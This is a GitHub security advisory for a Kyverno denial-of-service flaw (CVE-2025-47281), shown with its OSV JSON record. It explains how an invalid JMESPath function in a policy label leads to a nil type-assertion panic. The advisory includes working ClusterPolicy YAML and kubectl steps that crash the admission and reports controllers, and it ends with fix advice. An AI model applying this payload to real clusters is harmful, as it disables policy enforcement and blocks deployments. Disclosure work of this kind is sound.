ghsa-r5p3-955p-5ggq
Vulnerability from github
Published
2025-07-22 14:24
Modified
2025-07-23 22:15
Severity ?
7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Summary
Kyverno's Improper JMESPath Variable Evaluation Lead to Denial of Service
Details

Summary

A Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the {{@}} variable combined with a pipe and an invalid JMESPath function (e.g., {{@ | non_existent_function }}).

This leads to a nil value being substituted into the policy structure. Subsequent processing by internal functions, specifically getValueAsStringMap, which expect string values, results in a panic due to a type assertion failure (interface {} is nil, not string). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability."

Details

The vulnerability lies in the getValueAsStringMap function within pkg/engine/wildcards/wildcards.go (specifically around line 138):

go func getValueAsStringMap(key string, data interface{}) (string, map[string]string) { // ... valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value // ... for k, v := range valMap { // If valMap contains a key whose value is nil... result[k] = v.(string) // PANIC: v.(string) on a nil interface{} } return patternKey, result }

When a policy contains a variable like {{@ | foo}} (where foo is not a defined JMESPath function), the JMESPath evaluation within Kyverno's variable substitution logic results in a nil value. This nil is then assigned to the corresponding field in the policy pattern (e.g., a label value).

During policy processing, ExpandInMetadata calls expandWildcardsInTag, which in turn calls getValueAsStringMap. If the data argument to getValueAsStringMap (derived from the policy pattern) contains this nil value where a string is expected, the type assertion v.(string) panics when v is nil.

Proof of Concept (PoC)

This proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is Audit. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.

In the second phase the same policy is inserted with the Enforce validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.

Tested on Kyverno v1.14.1.

  1. Prerequisites: Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update ClusterPolicy or Policy resources.

  2. Create a Malicious Policy: Apply the following ClusterPolicy:

    yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil spec: rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | non_existent_function}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. trigger_panic: "{{@ | non_existent_function}}"

  3. Verify the policy status: Make sure the policy is ready.

    bash k get clusterpolicy dos-via-jmespath-nil NAME ADMISSION BACKGROUND READY AGE MESSAGE dos-via-jmespath-nil true true True 24m Ready

  4. Trigger the Policy: Create any Pod in any namespace (if not further restricted by match or exclude):

    bash kubectl run test-pod-dos --image=nginx

  5. Observe Crashes:

    • Check Kyverno admission controller logs for worker panics (interface conversion: interface {} is nil, not string).
    • Check Kyverno reports controller logs; the pod crashes and restarts.
    • Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380

  6. Reset: Delete the existing policy with kubectl delete clusterpolicy dos-via-jmespath-nil and delete the test pod with kubectl delete pod test-pod-dos. Then apply the following:

yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: dos-via-jmespath-nil-enforce spec: validationFailureAction: Enforce # This has changed rules: - name: trigger-nil-panic match: any: - resources: kinds: - Pod validate: message: "DoS attempt via JMESPath nil substitution" pattern: metadata: labels: # '{{@ | non_existent_function}}' will result in a nil value for this label. # This nil value causes a panic in getValueAsStringMap. trigger_panic: "{{@ | non_existent_function}}"

  1. Trigger the Policy (again): Create any Pod in any namespace (if not further restricted by match or exclude):

    bash kubectl run test-pod-dos --image=nginx

    The command returns the following error:

    bash Error from server (InternalError): Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF

  2. Observe Crashes:

    • Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.
    • Check Kyverno reports controller logs; the pod crashes and restarts.

Impact

This is a Denial of Service (DoS) vulnerability.

  • Affected Components:

    • Kyverno Admission Controller: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.
    • Kyverno Reports Controller: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.

  • Conditions: An attacker needs permissions to create or update Kyverno Policy or ClusterPolicy resources. This is often a privileged operation but may be delegated in some environments.

  • Consequences: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility.

Mitigation

  • Add robust nil handling in getValueAsStringMap.
  • Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in nil values.
Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-22T14:24:19Z",
    "nvd_published_at": "2025-07-23T21:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Denial of Service (DoS) vulnerability exists in Kyverno due to improper handling of JMESPath variable substitutions. Attackers with permissions to create or update Kyverno policies can craft expressions using the `{{@}}` variable combined with a pipe and an invalid JMESPath function (e.g., `{{@ | non_existent_function }}`).\n\nThis leads to a `nil` value being substituted into the policy structure. Subsequent processing by internal functions, specifically `getValueAsStringMap`, which expect string values, results in a panic due to a type assertion failure (`interface {} is nil, not string`). This crashes Kyverno worker threads in the admission controller (and can lead to full admission controller unavailability in Enforce mode) and causes continuous crashes of the reports controller pod, leading to service degradation or unavailability.\"\n\n### Details\nThe vulnerability lies in the `getValueAsStringMap` function within `pkg/engine/wildcards/wildcards.go` (specifically around line 138):\n\n```go\nfunc getValueAsStringMap(key string, data interface{}) (string, map[string]string) {\n    // ...\n    valMap, ok := val.(map[string]interface{}) // val can be the map containing the nil value\n    // ...\n    for k, v := range valMap { // If valMap contains a key whose value is nil...\n        result[k] = v.(string) // PANIC: v.(string) on a nil interface{}\n    }\n    return patternKey, result\n}\n```\n\nWhen a policy contains a variable like `{{@ | foo}}` (where `foo` is not a defined JMESPath function), the JMESPath evaluation within Kyverno\u0027s variable substitution logic results in a `nil` value. This `nil` is then assigned to the corresponding field in the policy pattern (e.g., a label value).\n\nDuring policy processing, `ExpandInMetadata` calls `expandWildcardsInTag`, which in turn calls `getValueAsStringMap`. If the `data` argument to `getValueAsStringMap` (derived from the policy pattern) contains this `nil` value where a string is expected, the type assertion `v.(string)` panics when `v` is `nil`.\n\n### Proof of Concept (PoC)\n\nThis proof of concept consists of two phases. First a malicious policy is inserted with the default validation failure action, which is `Audit`. In this phase the reports controller will end up in a crash loop. The admission controller will print out a similar stack trace, but only a worker crashes. The admission controller process does not crash.\n\nIn the second phase the same policy is inserted with the `Enforce` validation failure action. In this scenario both admission controller and the reports controller end up in a crash loop. As the admission controller crashes on incoming admission requests, it effectively makes it impossible to deploy new resources.\n\nTested on Kyverno v1.14.1.\n\n1.  **Prerequisites**:\n    Kubernetes cluster with Kyverno installed. Attacker has permissions to create/update `ClusterPolicy` or `Policy` resources.\n\n2.  **Create a Malicious Policy**:\n    Apply the following `ClusterPolicy`:\n\n    ```yaml\n    apiVersion: kyverno.io/v1\n    kind: ClusterPolicy\n    metadata:\n        name: dos-via-jmespath-nil\n    spec:\n        rules:\n        - name: trigger-nil-panic\n          match:\n            any:\n            - resources:\n                kinds:\n                - Pod\n          validate:\n              message: \"DoS attempt via JMESPath nil substitution\"\n              pattern:\n                metadata:\n                  labels:\n                    # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n                    # This nil value causes a panic in getValueAsStringMap.\n                    trigger_panic: \"{{@ | non_existent_function}}\"\n    ```\n\n3.  **Verify the policy status**:\n    Make sure the policy is ready.\n\n    ```bash\n    k get clusterpolicy dos-via-jmespath-nil\n    NAME                   ADMISSION   BACKGROUND   READY   AGE   MESSAGE\n    dos-via-jmespath-nil   true        true         True    24m   Ready\n    ```\n\n3.  **Trigger the Policy**:\n    Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n    ```bash\n    kubectl run test-pod-dos --image=nginx\n    ```\n\n4.  **Observe Crashes**:\n    *   Check Kyverno admission controller logs for worker panics (`interface conversion: interface {} is nil, not string`).\n    *   Check Kyverno reports controller logs; the pod crashes and restarts.\n    *   Stack trace available here (as a secret gist): https://gist.github.com/thevilledev/723392bad36020b82209262275434380\n\n5. **Reset**:\n   Delete the existing policy with `kubectl delete clusterpolicy dos-via-jmespath-nil` and delete\n   the test pod with `kubectl delete pod test-pod-dos`. Then apply the following:\n\n   ```yaml\n    apiVersion: kyverno.io/v1\n    kind: ClusterPolicy\n    metadata:\n        name: dos-via-jmespath-nil-enforce\n    spec:\n        validationFailureAction: Enforce # This has changed\n        rules:\n        - name: trigger-nil-panic\n          match:\n            any:\n            - resources:\n                kinds:\n                - Pod\n          validate:\n              message: \"DoS attempt via JMESPath nil substitution\"\n              pattern:\n                metadata:\n                  labels:\n                    # \u0027{{@ | non_existent_function}}\u0027 will result in a nil value for this label.\n                    # This nil value causes a panic in getValueAsStringMap.\n                    trigger_panic: \"{{@ | non_existent_function}}\"\n   ```\n\n6.  **Trigger the Policy (again)**:\n    Create any Pod in any namespace (if not further restricted by `match` or `exclude`):\n\n    ```bash\n    kubectl run test-pod-dos --image=nginx\n    ```\n\n    The command returns the following error:\n\n    ```bash\n    Error from server (InternalError): Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n    ```\n\n7.  **Observe Crashes**:\n    *   Check Kyverno admission controller logs for container panic. Notice that the whole controller has crashed, not just a worker.\n    *   Check Kyverno reports controller logs; the pod crashes and restarts.\n\n### Impact\n\nThis is a Denial of Service (DoS) vulnerability.\n\n*   **Affected Components**:\n    *   **Kyverno Admission Controller**: In Audit mode, individual worker threads handling admission requests will panic and terminate. While the main pod uses a worker pool and can recover by spawning new workers, repeated exploitation can degrade performance or lead to worker pool exhaustion. In Enforce mode, the whole controller panics. This makes all related admission requests fail.\n    *   **Kyverno Reports Controller**: The entire controller pod will panic and crash, requiring a restart by Kubernetes. This halts background policy scanning and report generation.\n\n*   **Conditions**: An attacker needs permissions to create or update Kyverno `Policy` or `ClusterPolicy` resources. This is often a privileged operation but may be delegated in some environments.\n*   **Consequences**: Degraded policy enforcement, inability to create/update resources, and loss of policy reporting visibility. \n\n### Mitigation\n\n- Add robust `nil` handling in `getValueAsStringMap`.\n- Look into adding graceful error handling in JMESPath substitution. Prevent evaluation errors (like undefined functions) from resulting in `nil` values.",
  "id": "GHSA-r5p3-955p-5ggq",
  "modified": "2025-07-23T22:15:03Z",
  "published": "2025-07-22T14:24:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-r5p3-955p-5ggq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/cbd7d4ca24de1c55396fc3295e9fc3215832be7c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno\u0027s Improper JMESPath Variable Evaluation Lead to Denial of Service"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.